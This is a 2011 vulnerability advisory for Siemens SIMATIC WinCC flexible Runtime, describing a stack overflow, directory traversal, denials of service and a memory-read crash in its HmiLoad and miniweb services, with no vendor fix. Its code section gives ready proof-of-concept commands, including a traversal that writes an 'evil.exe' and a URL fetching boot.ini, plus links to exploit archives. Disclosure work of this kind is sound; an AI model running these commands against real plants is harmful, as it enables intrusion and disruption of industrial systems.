Siemens SIMATIC WinCC Flexible (Runtime) Multiple Vulnerabilities

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Luigi Auriemma

Application: Siemens SIMATIC WinCC flexible (Runtime)
              http://www.automation.siemens.com/mcms/human-machine-interface/en/visualization-software/wincc-flexible/wincc-flexible-runtime/Pages/Default.aspx
Versions:     2008 SP2 + security patch 1
Platforms:    Windows
Bugs:         A] HmiLoad strings stack overflow
              B] HmiLoad directory traversal
              C] HmiLoad various Denials of Service
              D] miniweb directory traversal
              E] miniweb arbitrary memory read access
Exploitation: remote
Date:         28 Nov 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org

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1) Introduction
2) Bugs
3) The Code
4) Fix

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===============
1) Introduction
===============

From vendor's homepage:
"WinCC flexible is ideal for use as a Human Machine Interface (HMI) in
any machine or process-level application in plant, machine and
series-machine construction. WinCC flexible is designed for all sectors
of industry and offers engineering software for all SIMATIC HMI
operator panels, from the smallest Micro Panel to the Multi Panel, as
well as runtime visualization software for PC-based single-user systems
running under Windows XP / Windows 7."

HmiLoad is a stand-alone tool that should be manually added to the
startup folder for automatically start it everytime:
http://support.automation.siemens.com/WW/llisapi.dll?func=cslib.csinfo&objId=32813727&load=treecontent&lang=en&siteid=cseus&aktprim=0&objaction=csview&extranet=standard&viewreg=WW

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2) Bugs
=======

The bugs are referred to HmiLoad in Transfer mode, where it listens on
port 4410.

---------------------------------
A] HmiLoad strings stack overflow
---------------------------------

The functions that read data and unicode strings (32 bit size plus
data) are affected by a stack overflow during the copying of the input
data in a limited buffer trusting the size value provided by the
client.
Code execution may be possible if the attacker is able to modify the
memory after the input data (0x400 bytes) using other types of packets
and then sending a big string size for raising an invalid read
access exeption with the corrupted SEH:

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B] HmiLoad directory traversal
------------------------------

The server is affected by a directory traversal vulnerability that
allows access (read, write and delete) to any file on the disk outside
the expected directory.

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C] HmiLoad various Denials of Service
-------------------------------------

The server is affected by various problems that allow an attacker to
stop or crash it in various ways.
They are not much interesting and useful so it's not important to go
deeper in their details.

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D] miniweb directory traversal
------------------------------

miniweb.exe is a program that listens on ports 80 and 443 when started.
Through the usage of encoded backslashes and directory traversal
patterns is possible to download the files outside the download
directory.

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E] miniweb arbitrary memory read access
---------------------------------------

miniweb is affected by a weird vulnerability that allows an attacker to
crash the server due to the access to an arbitrary invalid memory zone
during the check of the extension of the requested file.

When it handles the HTTP POST requests it checks if the first byte of
the URI is equal to 0xfa in which case it considers the URI as a binary
sequence of data composed by two 32bit integer numbers used for taking
a new URI from the arbitrary memory address calculated on the second
number or on the sum of both:

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===========
3) The Code
===========

http://aluigi.org/testz/udpsz.zip
http://www.exploit-db.com/sploits/18166-1.zip

A]
udpsz -C "0004 02 00 00 00 ffffffff" -b a -T SERVER 2308 2+0x400
or
udpsz -C "0004 03 00 00 00 00000000 00000000 00000000 00000000 00000000 ffffffff" -b a -T SERVER 2308 2+0x400
and so on, alternatively:
udpsz -C "0004" -b 0xff -X 2 8 l 1 -l 0 -T SERVER 2308 2+0x400

B]
udpsz -C "0004 03" 0 -C "01000000 80000000" 0x16 -c ".\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0.\0.\0/\0e\0v\0i\0l\0.\0e\0x\0e\0" 0x1e -T SERVER 2308 2+0x400

C]
udpsz -C "0004 28" -T SERVER 2308 2+0x400
udpsz -C "0004 21" -T SERVER 2308 2+0x400
udpsz -C "0004 22" -T SERVER 2308 2+0x400
udpsz -C "0004 03" 0 -C "ffffffff" 0x16 -T SERVER 2308 2+0x400

D]
http://aluigi.org/mytoolz/mydown.zip
http://www.exploit-db.com/sploits/18166-2.zip
mydown http://SERVER/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini

E]
udpsz -c "POST \xfa\x01\x01\x01\x45\x40\x40\x41 HTTP/1.0\r\n\r\n" -T SERVER 80 -1

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4) Fix
======

No fix.

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EKU-ID: 1350	CVE:	OSVDB-ID:
Author: Luigi Auriemma	Published: 2011-11-29	Verified:
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Siemens SIMATIC WinCC Flexible (Runtime) Multiple Vulnerabilities

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